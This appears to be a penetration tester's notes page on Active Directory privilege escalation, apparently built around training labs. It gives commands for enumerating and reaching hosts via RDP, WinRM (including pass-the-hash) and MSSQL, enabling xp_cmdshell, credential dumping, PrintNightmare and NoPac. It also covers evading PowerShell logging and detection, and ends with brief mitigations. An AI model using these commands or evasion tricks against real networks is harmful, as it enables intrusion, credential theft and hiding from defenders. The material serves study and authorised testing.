Skip to content

Privilege escalation in Active Directory from Windows

Resources

  • [TheHacker.recipes](https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword

Index of Active Directory

Hardening and auditing Active Directory

šŸ” Attacking SAM

More on Attacking Sam

šŸ¤ Attacking LSASS

LSASS stores credentials that have active logon sessions on Windows systems. When we dumped LSASS process memory into the file, we essentially took a "snapshot" of what was in memory at that point in time.

More on Attacking LSASS

šŸŒ Attacking NTDS

By default, the NTDS file (NTDS.dit) is located inĀ %SystemRoot%\NTDS\Ntds.ditĀ of a domain controller. The .dit stands for directory information tree.

More on Attacking NTDS

šŸ” Kerberoasting

Kerberoasting is a lateral movement/privilege escalation technique in Active Directory environments.

See more about Kerberoasting

šŸ›‚ Access Control List (ACL)Abuse

During an assessment where the client has taken care of all of the "low hanging fruit" AD flaws/misconfigurations, ACL abuse can be a great way for us to move laterally/vertically and even achieve full domain compromise.

See more on Access Control List (ACL)Abuse

ā›” Privileged Access

Sometimes we don't Ā have local admin rights on any hosts in the domain. However there are other ways to access the host:

  • Remote Desktop ProtocolĀ (RDP) - is a remote access/management protocol that gives us GUI access to a target host

  • PowerShell RemotingĀ - also referred to as PSRemoting or Windows Remote Management (WinRM) access, is a remote access protocol that allows us to run commands or enter an interactive command-line session on a remote host using PowerShell

  • MSSQL ServerĀ - an account with sysadmin privileges on an SQL Server instance can log into the instance remotely and execute queries against the database.

Via BloodHound we can enumerate the following edges to see what types of remote access privileges a given user has:

Remote Desktop

Enumerating the Remote Desktop Users Group with PowerView.ps1.

1
2
3
4
5
6
7
8
9
Import-Module .\PowerView.ps1

# Enumerate members accessing current machine
Get-NetLocalGroupMember -GroupName "Remote Desktop Users"

# Enumerate members accessing a given host
Get-NetLocalGroupMember -ComputerName $HostName -GroupName "Remote Desktop Users"
# Example:
# Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"

From Bloodhound, we can check the Analysis tab and run the pre-built queries Find Workstations where Domain Users can RDP or Find Servers where Domain Users can RDP.

Test access with Linux: xfreerdp, rdesktop, Remmina Windows: mstsc.exe.

WinRM

Enumerating the Remote Management Users Group with PowerView.ps1.

1
2
3
4
5
6
7
8
9
Import-Module .\PowerView.ps1

# Enumerate members accessing current machine
Get-NetLocalGroupMember -GroupName "Remote Management Users"

# Enumerate members accessing a given host
Get-NetLocalGroupMember -ComputerName $HostName -GroupName "Remote Management Users"
# Example:
# Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"

In Bloodhound, we can use this Cypher query and add it as a custom query:

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

To access from Linux, use evil-winrm.

1
2
3
4
evil-winrm -i $ip -u <username -p <password>

evil-winrm -i <ip> -u Administrator -H "<passwordhash>"
# -H: Hash

To access from Windows, use Powershell and the Enter-PSSessionĀ cmdlet:

# Create a SecureString object_
$password = ConvertTo-SecureString "$passwordOfUser" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("$domain\$userSamAccountName", $password)

# Access the host
Enter-PSSession -ComputerName $hostName -Credential $cred

#####
# Example:
# $password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
# $cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
# Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred

SQL Server Admin

Enumerate via Bloodhound and theĀ SQLAdminĀ edge. We can check forĀ SQL Admin RightsĀ in theĀ Node InfoĀ tab for a given user or use this custom Cypher query to search:

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

Enumerating MSSQL Instances with PowerUpSQL. The command needs to be ran by an user with SQLAdmin rights:

1
2
3
cd C:\Tools\PowerUpSQL\
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

Authenticate against the remote SQL server host and run custom queries or operating system commands.

1
2
3
4
Get-SQLQuery -Verbose -Instance "$ipHost,$port" -username "$domain\$userSamAccountName" -password "$password" -query 'Select @@version'

# Example:
# Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
Ā  We can also authenticate from our Linux attack host usingĀ mssqlclient.pyĀ from the Impacket toolkit.

1
2
3
mssqlclient.py $domain/$user@$ip -windows-auth
# Example:
# mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth

We could then chooseĀ enable_xp_cmdshellĀ to enable theĀ xp_cmdshell stored procedureĀ which allows for one to execute operating system commands via the database if the account in question has the proper access rights.

SQL> enable_xp_cmdshell

Finally, we can run commands in the formatĀ xp_cmdshell <command>.

xp_cmdshell whoami /priv

Finally, we can run commands in the formatĀ xp_cmdshell <command>. Here we can enumerate the rights that our user has on the system and see that we haveĀ SeImpersonatePrivilege, which can be leveraged in combination with a tool such asĀ JuicyPotato,Ā PrintSpoofer, orĀ RoguePotatoĀ to escalate toĀ SYSTEMĀ level privileges, depending on the target host, and use this access to continue toward our goal.

šŸ–Øļø PrintNightmare

PrintNightmareĀ is the nickname given to two vulnerabilities (CVE-2021-34527Ā andĀ CVE-2021-1675) found in theĀ Print Spooler serviceĀ that runs on all Windows operating systems.

See more on PrintNightmare

The Print Spooler exploitation leverages the Windows Print Spooler service in conjunction with the SeImpersonatePrivilege privilege. The goal is to impersonate a SYSTEM token to escalate privileges. Tools like PrintSpoofer automate this process effectively. Below are detailed steps for exploiting this vulnerability:

šŸŖ¤ NoPac (SamAccountName Spoofing)

This vulnerability encompasses two CVEsĀ 2021-42278Ā andĀ 2021-42287, allowing for intra-domain privilege escalation from any standard domain user to Domain Admin level access in one single command.

See more on NoPac (Sam account Spoofing).

See some techniques at: https://github.com/gdedrouas/Exchange-AD-Privesc This repository provides a few techniques and scripts regarding the impact of Microsoft Exchange deployment on Active Directory security. This is a side project of AD-Control-Paths, an AD permissions auditing project to which I recently added some Exchange-related modules.

  • The groupĀ Exchange Windows PermissionsĀ is not listed as a protected group, but members are granted the ability to write a DACL to the domain object.
  • The Exchange groupĀ Organization ManagementĀ is another extremely powerful group (effectively the "Domain Admins" of Exchange) and can access the mailboxes of all domain users. It is not uncommon for sysadmins to be members of this group. This group also has full control of the OU calledĀ Microsoft Exchange Security Groups, which contains the groupĀ Exchange Windows Permissions.

If we can compromise an Exchange server, this will often lead to Domain Admin privileges.

šŸ‘€ Attacking Domain Trusts # 1: Child -> Parent Trusts

See more on Attacking Domain Trusts

  • SidHistory: ExtraSids Attack - Mimikatz
  • Cross-Forest Kerberoasting
  • Admin Password Re-Use & Group Membership
  • SID History Abuse - Cross Forest

šŸ„ø Dumping creds from browser: Lazagne

TheĀ LaZagne projectĀ is an open source application used toĀ retrieve lots of passwordsĀ stored on a local computer.

See more about Lazagne.

Evasion Techniques

Downgrade Powershell

Many defenders are unaware that several versions of PowerShell often exist on a host. If not uninstalled, they can still be used. Powershell event logging was introduced as a feature with Powershell 3.0 and forward. With that in mind, we can attempt to call Powershell version 2.0 or older. If successful, our actions from the shell will not be logged in Event Viewer.

WithĀ Script Block LoggingĀ enabled, we can see that whatever we type into the terminal gets sent to this log. If we downgrade to PowerShell V2, this will no longer function correctly. Our actions after will be masked since Script Block Logging does not work below PowerShell 3.0.

powershell.exe -version 2

PowerShell Operational Logs are kept under underĀ Applications and Services Logs > Microsoft > Windows > PowerShell > Operational. Also the Windows PowerShellĀ log is located atĀ Applications and Services Logs > Windows PowerShell.

Net Commands Trick

TypingĀ net1Ā instead ofĀ netĀ will execute the same functions without the potential trigger from the net string. Example:

net1 user /domain   

Mitigations

  1. Auditing for and removing dangerous ACLs

Organizations should have regular AD audits performed but also train internal staff to run tools such as BloodHound and identify potentially dangerous ACLs that can be removed.

  1. Monitor group membership

Visibility into important groups is paramount. All high-impact groups in the domain should be monitored to alert IT staff of changes that could be indicative of an ACL attack chain.

  1. Audit and monitor for ACL changes

Enabling theĀ Advanced Security Audit PolicyĀ can help in detecting unwanted changes, especiallyĀ Event ID 5136: A directory service object was modifiedĀ which would indicate that the domain object was modified, which could be indicative of an ACL attack. If we look at the event log after modifying the ACL of the domain object, we will see some event IDĀ 5136Ā created. If we check out theĀ DetailsĀ tab, we can see that the pertinent information is written inĀ Security Descriptor Definition Language (SDDL)Ā which is not human readable.

We can use theĀ ConvertFrom-SddlString cmdletĀ to convert this to a readable format.

# Converting the SDDL String into a Readable Format
ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-[CUT]" 
Last update: 2025-01-19
Created: December 27, 2024 22:00:41